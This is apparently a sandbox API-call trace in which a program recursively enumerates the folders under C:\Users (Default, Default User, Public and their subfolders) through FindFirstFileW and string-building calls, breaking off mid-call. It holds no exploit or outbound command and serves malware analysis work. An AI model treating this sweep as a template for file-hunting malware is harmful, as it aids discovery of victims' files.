[0107.682] FindClose (in: hFindFile=0x67db78 | out: hFindFile=0x67db78) returned 1 [0107.683] FindClose (in: hFindFile=0x67db78 | out: hFindFile=0x67db78) returned 0 [0107.683] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0107.683] lstrcmpW (lpString1="SendTo", lpString2="..") returned 1 [0107.683] lstrcmpW (lpString1="SendTo", lpString2=".") returned 1 [0107.683] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0107.683] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0107.683] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="SendTo" | out: lpString1="C:\\Users\\Default\\SendTo") returned="C:\\Users\\Default\\SendTo" [0107.683] SetErrorMode (uMode=0x1) returned 0x1 [0107.683] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\SendTo" | out: lpString1="C:\\Users\\Default\\SendTo") returned="C:\\Users\\Default\\SendTo" [0107.683] lstrcatW (in: lpString1="C:\\Users\\Default\\SendTo", lpString2="\\" | out: lpString1="C:\\Users\\Default\\SendTo\\") returned="C:\\Users\\Default\\SendTo\\" [0107.683] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\SendTo\\" | out: lpString1="C:\\Users\\Default\\SendTo\\") returned="C:\\Users\\Default\\SendTo\\" [0107.683] lstrcatW (in: lpString1="C:\\Users\\Default\\SendTo\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\SendTo\\*.*") returned="C:\\Users\\Default\\SendTo\\*.*" [0107.683] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\SendTo\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0107.683] PathFindFileNameW (pszPath="C:\\Users\\Default\\SendTo") returned="SendTo" [0107.683] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="SendTo" | out: lpString1="SendTo") returned="SendTo" [0107.683] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0107.683] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0107.683] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0107.683] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\SendTo" | out: lpString1="C:\\Users\\Default\\SendTo") returned="C:\\Users\\Default\\SendTo" [0107.683] lstrcatW (in: lpString1="C:\\Users\\Default\\SendTo", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\SendTo\\*.*") returned="C:\\Users\\Default\\SendTo\\*.*" [0107.683] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\SendTo\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0107.683] PathFindFileNameW (pszPath="C:\\Users\\Default\\SendTo") returned="SendTo" [0107.683] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="SendTo" | out: lpString1="SendTo") returned="SendTo" [0107.685] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0107.685] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0107.685] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0107.685] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0107.685] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0107.685] lstrcmpW (lpString1="Start Menu", lpString2="..") returned 1 [0107.685] lstrcmpW (lpString1="Start Menu", lpString2=".") returned 1 [0107.685] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0107.685] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0107.686] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="Start Menu" | out: lpString1="C:\\Users\\Default\\Start Menu") returned="C:\\Users\\Default\\Start Menu" [0107.686] SetErrorMode (uMode=0x1) returned 0x1 [0107.686] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Start Menu" | out: lpString1="C:\\Users\\Default\\Start Menu") returned="C:\\Users\\Default\\Start Menu" [0107.686] lstrcatW (in: lpString1="C:\\Users\\Default\\Start Menu", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Start Menu\\") returned="C:\\Users\\Default\\Start Menu\\" [0107.686] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\Start Menu\\" | out: lpString1="C:\\Users\\Default\\Start Menu\\") returned="C:\\Users\\Default\\Start Menu\\" [0107.686] lstrcatW (in: lpString1="C:\\Users\\Default\\Start Menu\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Start Menu\\*.*") returned="C:\\Users\\Default\\Start Menu\\*.*" [0107.686] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Start Menu\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0107.686] PathFindFileNameW (pszPath="C:\\Users\\Default\\Start Menu") returned="Start Menu" [0107.686] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Start Menu" | out: lpString1="Start Menu") returned="Start Menu" [0107.686] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0107.686] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0107.686] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0107.686] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Start Menu" | out: lpString1="C:\\Users\\Default\\Start Menu") returned="C:\\Users\\Default\\Start Menu" [0107.686] lstrcatW (in: lpString1="C:\\Users\\Default\\Start Menu", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Start Menu\\*.*") returned="C:\\Users\\Default\\Start Menu\\*.*" [0107.686] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Start Menu\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0107.686] PathFindFileNameW (pszPath="C:\\Users\\Default\\Start Menu") returned="Start Menu" [0107.686] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Start Menu" | out: lpString1="Start Menu") returned="Start Menu" [0107.686] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0107.686] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0107.686] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0107.686] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0107.686] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0107.686] lstrcmpW (lpString1="Templates", lpString2="..") returned 1 [0107.686] lstrcmpW (lpString1="Templates", lpString2=".") returned 1 [0107.686] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0107.686] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0107.686] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="Templates" | out: lpString1="C:\\Users\\Default\\Templates") returned="C:\\Users\\Default\\Templates" [0107.686] SetErrorMode (uMode=0x1) returned 0x1 [0107.686] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Templates" | out: lpString1="C:\\Users\\Default\\Templates") returned="C:\\Users\\Default\\Templates" [0107.686] lstrcatW (in: lpString1="C:\\Users\\Default\\Templates", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Templates\\") returned="C:\\Users\\Default\\Templates\\" [0107.686] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\Templates\\" | out: lpString1="C:\\Users\\Default\\Templates\\") returned="C:\\Users\\Default\\Templates\\" [0107.686] lstrcatW (in: lpString1="C:\\Users\\Default\\Templates\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Templates\\*.*") returned="C:\\Users\\Default\\Templates\\*.*" [0107.686] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Templates\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0107.686] PathFindFileNameW (pszPath="C:\\Users\\Default\\Templates") returned="Templates" [0107.687] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Templates" | out: lpString1="Templates") returned="Templates" [0107.687] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0107.687] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0107.687] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0107.687] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Templates" | out: lpString1="C:\\Users\\Default\\Templates") returned="C:\\Users\\Default\\Templates" [0107.687] lstrcatW (in: lpString1="C:\\Users\\Default\\Templates", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Templates\\*.*") returned="C:\\Users\\Default\\Templates\\*.*" [0107.687] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Templates\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0107.687] PathFindFileNameW (pszPath="C:\\Users\\Default\\Templates") returned="Templates" [0107.687] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Templates" | out: lpString1="Templates") returned="Templates" [0107.687] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0107.687] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0107.687] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0107.687] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0107.687] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0107.687] lstrcmpW (lpString1="Videos", lpString2="..") returned 1 [0107.687] lstrcmpW (lpString1="Videos", lpString2=".") returned 1 [0107.687] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0107.687] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0107.687] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="Videos" | out: lpString1="C:\\Users\\Default\\Videos") returned="C:\\Users\\Default\\Videos" [0107.687] SetErrorMode (uMode=0x1) returned 0x1 [0107.687] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Videos" | out: lpString1="C:\\Users\\Default\\Videos") returned="C:\\Users\\Default\\Videos" [0107.687] lstrcatW (in: lpString1="C:\\Users\\Default\\Videos", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Videos\\") returned="C:\\Users\\Default\\Videos\\" [0107.687] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\Videos\\" | out: lpString1="C:\\Users\\Default\\Videos\\") returned="C:\\Users\\Default\\Videos\\" [0107.687] lstrcatW (in: lpString1="C:\\Users\\Default\\Videos\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Videos\\*.*") returned="C:\\Users\\Default\\Videos\\*.*" [0107.687] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Videos\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67db78 [0107.687] PathFindFileNameW (pszPath="C:\\Users\\Default\\Videos") returned="Videos" [0107.687] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Videos" | out: lpString1="Videos") returned="Videos" [0107.687] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0107.687] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0107.687] FindClose (in: hFindFile=0x67db78 | out: hFindFile=0x67db78) returned 1 [0107.688] FindClose (in: hFindFile=0x67db78 | out: hFindFile=0x67db78) returned 0 [0107.688] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Videos" | out: lpString1="C:\\Users\\Default\\Videos") returned="C:\\Users\\Default\\Videos" [0107.688] lstrcatW (in: lpString1="C:\\Users\\Default\\Videos", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Videos\\*.*") returned="C:\\Users\\Default\\Videos\\*.*" [0107.688] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Videos\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e078 [0107.688] PathFindFileNameW (pszPath="C:\\Users\\Default\\Videos") returned="Videos" [0107.688] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Videos" | out: lpString1="Videos") returned="Videos" [0107.688] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0107.688] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0107.688] FindNextFileW (in: hFindFile=0x67e078, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0107.688] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0107.688] FindNextFileW (in: hFindFile=0x67e078, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0107.688] FindClose (in: hFindFile=0x67e078 | out: hFindFile=0x67e078) returned 1 [0107.688] FindClose (in: hFindFile=0x67e078 | out: hFindFile=0x67e078) returned 0 [0107.688] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0 [0107.688] FindClose (in: hFindFile=0x67e378 | out: hFindFile=0x67e378) returned 1 [0107.688] FindClose (in: hFindFile=0x67e378 | out: hFindFile=0x67e378) returned 0 [0107.689] FindNextFileW (in: hFindFile=0x5d6b08, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0107.689] lstrcmpW (lpString1="Default User", lpString2="..") returned 1 [0107.689] lstrcmpW (lpString1="Default User", lpString2=".") returned 1 [0107.689] lstrcpyW (in: lpString1=0x2dcd6b8, lpString2="C:\\Users" | out: lpString1="C:\\Users") returned="C:\\Users" [0107.689] lstrcatW (in: lpString1="C:\\Users", lpString2="\\" | out: lpString1="C:\\Users\\") returned="C:\\Users\\" [0107.689] lstrcatW (in: lpString1="C:\\Users\\", lpString2="Default User" | out: lpString1="C:\\Users\\Default User") returned="C:\\Users\\Default User" [0107.689] SetErrorMode (uMode=0x1) returned 0x1 [0107.689] lstrcpyW (in: lpString1=0x2dcc2a0, lpString2="C:\\Users\\Default User" | out: lpString1="C:\\Users\\Default User") returned="C:\\Users\\Default User" [0107.689] lstrcatW (in: lpString1="C:\\Users\\Default User", lpString2="\\" | out: lpString1="C:\\Users\\Default User\\") returned="C:\\Users\\Default User\\" [0107.689] lstrcpyW (in: lpString1=0x2dcbe90, lpString2="C:\\Users\\Default User\\" | out: lpString1="C:\\Users\\Default User\\") returned="C:\\Users\\Default User\\" [0107.689] lstrcatW (in: lpString1="C:\\Users\\Default User\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default User\\*.*") returned="C:\\Users\\Default User\\*.*" [0107.689] FindFirstFileW (in: lpFileName="C:\\Users\\Default User\\*.*", lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0xffffffff [0107.689] PathFindFileNameW (pszPath="C:\\Users\\Default User") returned="Default User" [0107.689] lstrcpyW (in: lpString1=0x2dca884, lpString2="Default User" | out: lpString1="Default User") returned="Default User" [0107.689] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0 [0107.689] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0107.689] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0107.689] lstrcpyW (in: lpString1=0x2dcc2a0, lpString2="C:\\Users\\Default User" | out: lpString1="C:\\Users\\Default User") returned="C:\\Users\\Default User" [0107.689] lstrcatW (in: lpString1="C:\\Users\\Default User", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default User\\*.*") returned="C:\\Users\\Default User\\*.*" [0107.689] FindFirstFileW (in: lpFileName="C:\\Users\\Default User\\*.*", lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0xffffffff [0107.689] PathFindFileNameW (pszPath="C:\\Users\\Default User") returned="Default User" [0107.689] lstrcpyW (in: lpString1=0x2dca884, lpString2="Default User" | out: lpString1="Default User") returned="Default User" [0107.689] lstrcmpW (lpString1="Videos", lpString2="..") returned 1 [0107.689] lstrcmpW (lpString1="Videos", lpString2=".") returned 1 [0107.689] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default User" | out: lpString1="C:\\Users\\Default User") returned="C:\\Users\\Default User" [0107.689] lstrcatW (in: lpString1="C:\\Users\\Default User", lpString2="\\" | out: lpString1="C:\\Users\\Default User\\") returned="C:\\Users\\Default User\\" [0107.689] lstrcatW (in: lpString1="C:\\Users\\Default User\\", lpString2="Videos" | out: lpString1="C:\\Users\\Default User\\Videos") returned="C:\\Users\\Default User\\Videos" [0107.689] SetErrorMode (uMode=0x1) returned 0x1 [0107.689] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default User\\Videos" | out: lpString1="C:\\Users\\Default User\\Videos") returned="C:\\Users\\Default User\\Videos" [0107.689] lstrcatW (in: lpString1="C:\\Users\\Default User\\Videos", lpString2="\\" | out: lpString1="C:\\Users\\Default User\\Videos\\") returned="C:\\Users\\Default User\\Videos\\" [0107.689] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default User\\Videos\\" | out: lpString1="C:\\Users\\Default User\\Videos\\") returned="C:\\Users\\Default User\\Videos\\" [0107.689] lstrcatW (in: lpString1="C:\\Users\\Default User\\Videos\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default User\\Videos\\*.*") returned="C:\\Users\\Default User\\Videos\\*.*" [0107.689] FindFirstFileW (in: lpFileName="C:\\Users\\Default User\\Videos\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e378 [0107.690] PathFindFileNameW (pszPath="C:\\Users\\Default User\\Videos") returned="Videos" [0107.690] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Videos" | out: lpString1="Videos") returned="Videos" [0107.690] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0107.690] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0107.690] FindClose (in: hFindFile=0x67e378 | out: hFindFile=0x67e378) returned 1 [0107.690] FindClose (in: hFindFile=0x67e378 | out: hFindFile=0x67e378) returned 0 [0107.690] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default User\\Videos" | out: lpString1="C:\\Users\\Default User\\Videos") returned="C:\\Users\\Default User\\Videos" [0107.690] lstrcatW (in: lpString1="C:\\Users\\Default User\\Videos", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default User\\Videos\\*.*") returned="C:\\Users\\Default User\\Videos\\*.*" [0107.690] FindFirstFileW (in: lpFileName="C:\\Users\\Default User\\Videos\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e378 [0107.690] PathFindFileNameW (pszPath="C:\\Users\\Default User\\Videos") returned="Videos" [0107.690] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Videos" | out: lpString1="Videos") returned="Videos" [0107.690] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0107.690] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0107.690] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0107.690] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0107.690] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0107.690] FindClose (in: hFindFile=0x67e378 | out: hFindFile=0x67e378) returned 1 [0107.690] FindClose (in: hFindFile=0x67e378 | out: hFindFile=0x67e378) returned 0 [0107.690] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0 [0107.690] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0107.691] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0107.691] FindNextFileW (in: hFindFile=0x5d6b08, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0107.691] FindNextFileW (in: hFindFile=0x5d6b08, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0107.691] lstrcmpW (lpString1="Public", lpString2="..") returned 1 [0107.691] lstrcmpW (lpString1="Public", lpString2=".") returned 1 [0107.691] lstrcpyW (in: lpString1=0x2dcd6b8, lpString2="C:\\Users" | out: lpString1="C:\\Users") returned="C:\\Users" [0107.691] lstrcatW (in: lpString1="C:\\Users", lpString2="\\" | out: lpString1="C:\\Users\\") returned="C:\\Users\\" [0107.691] lstrcatW (in: lpString1="C:\\Users\\", lpString2="Public" | out: lpString1="C:\\Users\\Public") returned="C:\\Users\\Public" [0107.691] SetErrorMode (uMode=0x1) returned 0x1 [0107.691] lstrcpyW (in: lpString1=0x2dcc2a0, lpString2="C:\\Users\\Public" | out: lpString1="C:\\Users\\Public") returned="C:\\Users\\Public" [0107.691] lstrcatW (in: lpString1="C:\\Users\\Public", lpString2="\\" | out: lpString1="C:\\Users\\Public\\") returned="C:\\Users\\Public\\" [0107.691] lstrcpyW (in: lpString1=0x2dcbe90, lpString2="C:\\Users\\Public\\" | out: lpString1="C:\\Users\\Public\\") returned="C:\\Users\\Public\\" [0107.691] lstrcatW (in: lpString1="C:\\Users\\Public\\", lpString2="*.*" | out: lpString1="C:\\Users\\Public\\*.*") returned="C:\\Users\\Public\\*.*" [0107.691] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\*.*", lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0x67e838 [0107.691] PathFindFileNameW (pszPath="C:\\Users\\Public") returned="Public" [0107.691] lstrcpyW (in: lpString1=0x2dca884, lpString2="Public" | out: lpString1="Public") returned="Public" [0107.691] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0107.691] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0107.691] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0107.691] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0107.691] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0107.691] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0107.691] lstrlenW (lpString="desktop.ini") returned 11 [0107.691] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0107.691] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0107.691] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0107.691] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0107.691] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0107.691] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0107.691] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0 [0107.692] FindClose (in: hFindFile=0x67e838 | out: hFindFile=0x67e838) returned 1 [0107.692] FindClose (in: hFindFile=0x67e838 | out: hFindFile=0x67e838) returned 0 [0107.692] lstrcpyW (in: lpString1=0x2dcc2a0, lpString2="C:\\Users\\Public" | out: lpString1="C:\\Users\\Public") returned="C:\\Users\\Public" [0107.692] lstrcatW (in: lpString1="C:\\Users\\Public", lpString2="\\*.*" | out: lpString1="C:\\Users\\Public\\*.*") returned="C:\\Users\\Public\\*.*" [0107.692] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\*.*", lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0x67e378 [0107.692] PathFindFileNameW (pszPath="C:\\Users\\Public") returned="Public" [0107.692] lstrcpyW (in: lpString1=0x2dca884, lpString2="Public" | out: lpString1="Public") returned="Public" [0107.692] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0107.692] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0107.692] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0107.692] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0107.692] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0107.692] lstrcmpW (lpString1="AccountPictures", lpString2="..") returned 1 [0107.692] lstrcmpW (lpString1="AccountPictures", lpString2=".") returned 1 [0107.692] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Public" | out: lpString1="C:\\Users\\Public") returned="C:\\Users\\Public" [0107.692] lstrcatW (in: lpString1="C:\\Users\\Public", lpString2="\\" | out: lpString1="C:\\Users\\Public\\") returned="C:\\Users\\Public\\" [0107.692] lstrcatW (in: lpString1="C:\\Users\\Public\\", lpString2="AccountPictures" | out: lpString1="C:\\Users\\Public\\AccountPictures") returned="C:\\Users\\Public\\AccountPictures" [0107.692] SetErrorMode (uMode=0x1) returned 0x1 [0107.692] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Public\\AccountPictures" | out: lpString1="C:\\Users\\Public\\AccountPictures") returned="C:\\Users\\Public\\AccountPictures" [0107.692] lstrcatW (in: lpString1="C:\\Users\\Public\\AccountPictures", lpString2="\\" | out: lpString1="C:\\Users\\Public\\AccountPictures\\") returned="C:\\Users\\Public\\AccountPictures\\" [0107.692] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Public\\AccountPictures\\" | out: lpString1="C:\\Users\\Public\\AccountPictures\\") returned="C:\\Users\\Public\\AccountPictures\\" [0107.692] lstrcatW (in: lpString1="C:\\Users\\Public\\AccountPictures\\", lpString2="*.*" | out: lpString1="C:\\Users\\Public\\AccountPictures\\*.*") returned="C:\\Users\\Public\\AccountPictures\\*.*" [0107.692] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\AccountPictures\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e3f8 [0107.693] PathFindFileNameW (pszPath="C:\\Users\\Public\\AccountPictures") returned="AccountPictures" [0107.693] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="AccountPictures" | out: lpString1="AccountPictures") returned="AccountPictures" [0107.693] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0107.693] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0107.693] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0107.693] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0107.693] lstrlenW (lpString="desktop.ini") returned 11 [0107.693] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0107.693] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 1 [0107.693] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 0 [0107.693] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Public\\AccountPictures" | out: lpString1="C:\\Users\\Public\\AccountPictures") returned="C:\\Users\\Public\\AccountPictures" [0107.693] lstrcatW (in: lpString1="C:\\Users\\Public\\AccountPictures", lpString2="\\*.*" | out: lpString1="C:\\Users\\Public\\AccountPictures\\*.*") returned="C:\\Users\\Public\\AccountPictures\\*.*" [0107.693] FindFirstFileW (in: 